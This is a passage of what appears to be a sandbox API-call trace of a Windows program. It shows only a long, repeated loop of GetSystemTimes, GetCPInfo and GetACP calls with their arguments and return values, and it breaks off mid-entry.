[0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.757] GetACP () returned 0x4e4 [0051.757] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.758] GetACP () returned 0x4e4 [0051.758] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.759] GetACP () returned 0x4e4 [0051.759] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.760] GetACP () returned 0x4e4 [0051.760] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.761] GetACP () returned 0x4e4 [0051.761] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.762] GetACP () returned 0x4e4 [0051.762] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.763] GetACP () returned 0x4e4 [0051.763] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.764] GetACP () returned 0x4e4 [0051.764] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 